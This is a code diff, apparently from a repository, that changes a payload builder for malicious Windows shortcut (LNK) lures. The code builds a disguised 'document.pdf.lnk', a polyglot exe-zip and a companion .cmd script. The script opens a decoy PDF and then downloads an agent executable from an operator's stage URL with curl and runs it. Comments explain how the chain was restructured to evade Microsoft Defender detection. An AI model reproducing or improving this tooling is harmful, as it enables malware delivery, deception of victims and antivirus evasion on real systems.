def _decoy_pdf_bytes(title: str) -> bytes:
|
||||
"""One-page decoy PDF as bytes, for embedding in the LNK shortcut."""
|
||||
"""One-page decoy PDF as bytes (polyglot-exe-zip container)."""
|
||||
import pikepdf
|
||||
|
||||
pdf = pikepdf.Pdf.new()
|
||||
@@ -584,36 +608,50 @@ def build_pdf(p, agent: bytes, out_name: str) -> str:
|
||||
def _decoy_url(p, out_name: str) -> str:
|
||||
"""The decoy PDF rides next to the agent on the stage: same directory,
|
||||
<out_name>.decoy.pdf. build_lnk emits it into dist alongside the shortcut,
|
||||
so the operator hosts two files instead of one."""
|
||||
so the operator hosts three files (lnk, cmd, decoy pdf)."""
|
||||
url = p.get("stage_url")
|
||||
if not url:
|
||||
return None
|
||||
return "%s/%s.decoy.pdf" % (url.rsplit("/", 1)[0], out_name)
|
||||
|
||||
|
||||
def _lnk_command(p, out_name: str, decoy_url: str) -> str:
|
||||
"""cmd /c chain for the shortcut: fetch the decoy PDF from the stage into
|
||||
%TEMP% and open it, then curl the agent into %PUBLIC% and run it.
|
||||
Decoy-first ordering matches the live LNK campaigns. Pure cmd/curl:
|
||||
PowerShell decode-write plus download-and-run in one line is flagged by
|
||||
AV (Trojan:Win32/Commando.A!ml, reproduced 2026-08)."""
|
||||
cradle = download_cradle(p, out_name + ".exe")
|
||||
if not cradle:
|
||||
def _lnk_cmd_script(p, out_name: str, decoy_url: str) -> bytes:
|
||||
"""The companion .cmd the shortcut runs: fetch the decoy PDF into %TEMP%
|
||||
and open it, then curl the agent into %PUBLIC% and run it detached.
|
||||
Decoy-first ordering matches the live LNK campaigns. The chain lives in
|
||||
the .cmd file, not the LNK arguments: Defender's FastPath ML flags every
|
||||
LNK-launched cmd.exe whose own cmdline downloads with curl (Trojan:Win32/
|
||||
Commando.A!ml on rundll32, conhost, and plain cmd targets, all reproduced
|
||||
live 2026-08) while the same curl process tree stays undetected when the
|
||||
command line came from elsewhere."""
|
||||
fetch = _curl_fetch(p, "%%PUBLIC%%\\%s.exe" % out_name)
|
||||
if not fetch:
|
||||
return None
|
||||
return ("curl -s -o %%TEMP%%\\%s.pdf %s & start %%TEMP%%\\%s.pdf & %s"
|
||||
% (out_name, decoy_url, out_name, cradle[len("cmd /c "):]))
|
||||
dest, url = fetch[fetch.index("-o ") + 3:].split(" ", 1)
|
||||
return ("@echo off\r\n"
|
||||
"curl -s -L -o %%TEMP%%\\%s.pdf %s\r\n"
|
||||
"start %%TEMP%%\\%s.pdf\r\n"
|
||||
"curl -s -L -o %s %s\r\n"
|
||||
"start \"\" %s\r\n"
|
||||
% (out_name, decoy_url, out_name, dest, url, dest)).encode()
|
||||
|
||||
|
||||
def _lnk_builder(p, out_name: str, decoy_url: str):
|
||||
"""cmd.exe-target shortcut that runs the companion .cmd. The shortcut
|
||||
probes the two standard lure locations for the .cmd because an
|
||||
LNK-launched cmd.exe starts in system32, not next to the shortcut."""
|
||||
import pylnk3
|
||||
from pylnk3 import WINDOW_MINIMIZED
|
||||
|
||||
cmd = _lnk_command(p, out_name, decoy_url)
|
||||
if not cmd:
|
||||
script = _lnk_cmd_script(p, out_name, decoy_url)
|
||||
if script is None:
|
||||
return None
|
||||
return pylnk3.for_file(
|
||||
r"C:\Windows\System32\rundll32.exe",
|
||||
arguments="shell32.dll,ShellExec_RunDLL conhost --headless cmd /c %s" % cmd,
|
||||
r"C:\Windows\System32\cmd.exe",
|
||||
arguments=('/c for %%d in ("%%USERPROFILE%%\\Downloads"'
|
||||
' "%%USERPROFILE%%\\Desktop") do @if exist'
|
||||
' "%%d\\%s.cmd" call "%%d\\%s.cmd"'
|
||||
% (out_name, out_name)),
|
||||
description="Document",
|
||||
icon_file=r"C:\Windows\System32\shell32.dll",
|
||||
icon_index=3,
|
||||
@@ -636,6 +674,8 @@ def build_lnk(p, agent: bytes, out_name: str) -> str:
|
||||
return None
|
||||
path = str(p["dist"] / (out_name + ".lnk"))
|
||||
lnk.save(path)
|
||||
Path(str(p["dist"] / (out_name + ".cmd"))).write_bytes(
|
||||
_lnk_cmd_script(p, out_name, decoy_url))
|
||||
Path(str(p["dist"] / (out_name + ".decoy.pdf"))).write_bytes(
|
||||
_decoy_artifact(out_name))
|
||||
return path
|
||||
@@ -664,11 +704,13 @@ def build_polyglot_exe_zip(p, agent: bytes, out_name: str) -> str:
|
||||
if not decoy_url:
|
||||
return None
|
||||
lnk = _lnk_builder(p, out_name, decoy_url)
|
||||
if lnk is None:
|
||||
script = _lnk_cmd_script(p, out_name, decoy_url)
|
||||
if lnk is None or script is None:
|
||||
return None
|
||||
lnk_bytes = io.BytesIO()
|
||||
lnk.save(lnk_bytes)
|
||||
zip_part = _zip_of(lnk_bytes.getvalue(), "document.pdf.lnk")
|
||||
zip_part = _zip_of([("document.pdf.lnk", lnk_bytes.getvalue()),
|
||||
(out_name + ".cmd", script)])
|
||||
path = str(p["dist"] / (out_name + ".polyglot.zip"))
|
||||
Path(path).write_bytes(agent + zip_part)
|
||||
Path(str(p["dist"] / (out_name + ".decoy.pdf"))).write_bytes(
|
||||
|
||||
Reference in New Issue
Block a user